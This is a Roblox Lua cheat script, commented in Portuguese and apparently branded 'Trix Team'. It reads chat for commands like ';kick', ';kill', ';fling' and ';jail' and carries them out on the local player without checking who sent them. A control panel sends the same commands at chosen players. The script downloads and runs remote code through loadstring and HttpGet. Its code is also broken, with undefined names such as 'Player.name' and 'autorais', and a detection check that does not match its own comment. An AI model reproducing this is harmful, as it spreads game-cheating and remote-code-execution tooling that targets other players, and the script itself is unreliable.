--// Serviços local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local TextChatService = game:GetService("TextChatService") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local Workspace = workspace --// Donos especiais (sempre recebem "Dono") local Donos = { ["Barrettmariah2"] = true, [""] = true, [""] = true, [""] = true } --// Jogadores autorizados por envio de Trix_#### local Autorizados = {} -- chave: nome exato do player -> true --// Estado local local playerOriginalSpeed = {} local jaulas = {} local jailConnections = {} --// Função util: atualiza tag visual de um jogador (cria/recria) local function createSpecialTag(player) if not player then return end local function apply() local char = player.Character if not char then return end local head = char:FindFirstChild("Head") if not head then return end local old = head:FindFirstChild("SpecialTag") if old then old:Destroy() end local gui = Instance.new("BillboardGui") gui.Name = "SpecialTag" gui.Size = UDim2.new(0, 200, 0, 50) gui.StudsOffset = Vector3.new(0, 3, 0) gui.AlwaysOnTop = true gui.Adornee = head gui.Parent = head local text = Instance.new("TextLabel") text.Size = UDim2.new(1, 0, 1, 0) text.BackgroundTransparency = 1 text.Font = Enum.Font.GothamBold text.TextScaled = true text.TextStrokeTransparency = 0.2 text.TextStrokeColor3 = Color3.new(0,0,0) text.TextColor3 = Color3.fromRGB(255,255,255) if Donos[Player.name] then text.Text = "Dono" elseif Autorizados[Barrettmariah2] then text.Text = "Admin" else text.Text = "" -- sem tag até autorizar end text.Parent = gui end -- aplica agora e sempre que o personagem reaparecer pcall(apply) player.CharacterAdded:Connect(function() task.wait(0.4) pcall(apply) end) end --// Aplica tags iniciais para jogadores presentes for _, p in pairs(Players:GetPlayers()) do createSpecialTag(p) end --// Quando jogadores entrarem Players.PlayerAdded:Connect(function(p) createSpecialTag(p) end) --// Envia comando no chat (usa TextChannels) local function EnviarComando(comando, alvo) local canal = TextChatService.TextChannels:FindFirstChild("RBXGeneral") or TextChatService.TextChannels:GetChildren()[1] if canal then canal:SendAsync(";" .. comando .. " " .. (alvo or "")) end end --// Atualiza tag de jogador pelo nome (se estiver presente no jogo) local function AtualizarTagPorNome(nome) local p = Players:FindFirstChild(nome) if p then createSpecialTag(p) end end --// Função que processa cada mensagem recebida (originais e locais) local function ProcessarMensagem(msgText, authorName) if not msgText or not authorName then return end local comandoLower = msgText:lower() local targetLower = LocalPlayer.Name:lower() local character = LocalPlayer.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") -- COMANDOS QUE AFETAM O LOCAL PLAYER (verifica se o comando inclui o nome do local player) if comandoLower:match(";kick%s+" .. targetLower) then LocalPlayer:Kick("You got kicked by Trix Team") end if comandoLower:match(";kill%s+" .. targetLower) then if character then character:BreakJoints() end end if comandoLower:match(";killplus%s+" .. targetLower) then if character then character:BreakJoints() local root = character:FindFirstChild("HumanoidRootPart") if root then for i=1,10 do local part = Instance.new("Part") part.Size = Vector3.new(10,10,10) part.Anchored = false part.CanCollide = false part.Material = Enum.Material.Neon part.BrickColor = BrickColor.Random() part.CFrame = root.CFrame part.Parent = Workspace local bv = Instance.new("BodyVelocity") bv.Velocity = Vector3.new(math.random(-50,50), math.random(20,80), math.random(-50,50)) bv.MaxForce = Vector3.new(1e5,1e5,1e5) bv.Parent = part game.Debris:AddItem(part,3) end end end end if comandoLower:match(";fling%s+" .. targetLower) then if character then local root = character:FindFirstChild("HumanoidRootPart") if root then local tween = TweenService:Create(root, TweenInfo.new(1, Enum.EasingStyle.Linear), {CFrame = CFrame.new(0,100000,0)}) tween:Play() end end end if comandoLower:match(";freeze%s+" .. targetLower) then if humanoid then playerOriginalSpeed[targetLower] = humanoid.WalkSpeed humanoid.WalkSpeed = 0 end end if comandoLower:match(";unfreeze%s+" .. targetLower) then if humanoid then humanoid.WalkSpeed = playerOriginalSpeed[targetLower] or 16 end end if comandoLower:match(";jail%s+" .. targetLower) then if character then local root = character:FindFirstChild("HumanoidRootPart") if root then local pos = root.Position jaulas[targetLower] = {} local color = Color3.fromRGB(255,140,0) local function criarPart(cf,s) local p = Instance.new("Part") p.Anchored = true p.Size = s p.CFrame = cf p.Transparency = 0.5 p.Color = color p.Parent = Workspace table.insert(jaulas[targetLower], p) end criarPart(CFrame.new(pos + Vector3.new(5,0,0)), Vector3.new(1,10,10)) criarPart(CFrame.new(pos + Vector3.new(-5,0,0)), Vector3.new(1,10,10)) criarPart(CFrame.new(pos + Vector3.new(0,0,5)), Vector3.new(10,10,1)) criarPart(CFrame.new(pos + Vector3.new(0,0,-5)), Vector3.new(10,10,1)) criarPart(CFrame.new(pos + Vector3.new(0,5,0)), Vector3.new(10,1,10)) criarPart(CFrame.new(pos + Vector3.new(0,-5,0)), Vector3.new(10,1,10)) jailConnections[targetLower] = RunService.Heartbeat:Connect(function() if character and root then if (root.Position - pos).Magnitude > 5 then root.CFrame = CFrame.new(pos) end end end) end end end if comandoLower:match(";unjail%s+" .. targetLower) then if jaulas[targetLower] then for _, v in pairs(jaulas[targetLower]) do if v and v.Destroy then pcall(v.Destroy, v) end end jaulas[targetLower] = nil end if jailConnections[targetLower] then jailConnections[targetLower]:Disconnect() jailConnections[targetLower] = nil end end -- COMANDO UNIVERSAL ;verifique -> faz o local player enviar Trix_#### if comandoLower:match("^;verifique") then local canal = TextChatService.TextChannels:FindFirstChild("RBXGeneral") or TextChatService.TextChannels:GetChildren()[1] if canal then canal:SendAsync("Trix_####") end end -- DETECÇÃO: se a mensagem contém Trix_#### (case-insensitive) -- registra o autor como autorizado e atualiza tag if msgText:match("[TC]Trix Team") then Autorizados[Player.name] = true AtualizarTagPorNome(autorais) end end --// Conectar canais de chat existentes e futuros local function ConectarCanal(canal) if not canal or not canal.IsA then return end if not canal:IsA("TextChannel") then return end canal.MessageReceived:Connect(function(msg) -- msg.Text e msg.TextSource local text = msg.Text local source = msg.TextSource and msg.TextSource.Name if text and source then ProcessarMensagem(text, source) end end) end -- Conecta canais já existentes for _, ch in pairs(TextChatService.TextChannels:GetChildren()) do ConectarCanal(ch) end -- Conecta canais novos TextChatService.TextChannels.ChildAdded:Connect(function(ch) ConectarCanal(ch) end) --// Painel Trix Client (WindUI) - exibido para todos local ok, WindUILib = pcall(function() return loadstring(game:HttpGet("https://github.com/Footagesus/WindUI/releases/latest/download/main.lua"))() end) if ok and WindUILib then local Window = WindUILib:CreateWindow({ Title = " - Criador: Hey_Akira", Icon = "star", Author = "by: Fitch team", Folder = "Trix - Admins", Size = UDim2.fromOffset(580,460), Transparent = true, Theme = nil, Resizable = false, SideBarWidth = 200, BackgroundImageTransparency = 0.42, HideSearchBar = true, ScrollBarEnabled = true, }) local TabComandos = Window:Tab({ Title = "Scripts", Icon = "terminal", Locked = false }) local Section = TabComandos:Section({ Title = "Admin", Icon = "user-cog", Opened = true }) local function getPlayersList() local t = {} for _, p in ipairs(Players:GetPlayers()) do table.insert(t, p.Name) end return t end local TargetName local Dropdown = Section:Dropdown({ Title = "Selecionar Jogador", Values = getPlayersList(), Value = "", Callback = function(opt) TargetName = opt end }) Players.PlayerAdded:Connect(function() Dropdown:SetValues(getPlayersList()) end) Players.PlayerRemoving:Connect(function() Dropdown:SetValues(getPlayersList()) end) local comandos = { "kick","kill","killplus","fling","freeze","unfreeze","bring","jail","unjail","verifique" } for _, cmd in ipairs(comandos) do Section:Button({ Title = cmd:lower(), Desc = "Script for ;"..cmd.." - Target", Callback = function() if cmd == "verifique" then -- verifique é universal, não precisa de alvo EnviarComando("verifique", "") else if TargetName and TargetName ~= "" then EnviarComando(cmd, TargetName) else warn("Nenhum jogador selecionado!") end end end }) end end --// Som de carregamento (apenas reproduz ao remover) local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://8486683243" sound.Volume = 0.5 sound.PlayOnRemove = true sound.Parent = Workspace sound:Destroy() --// Fim do script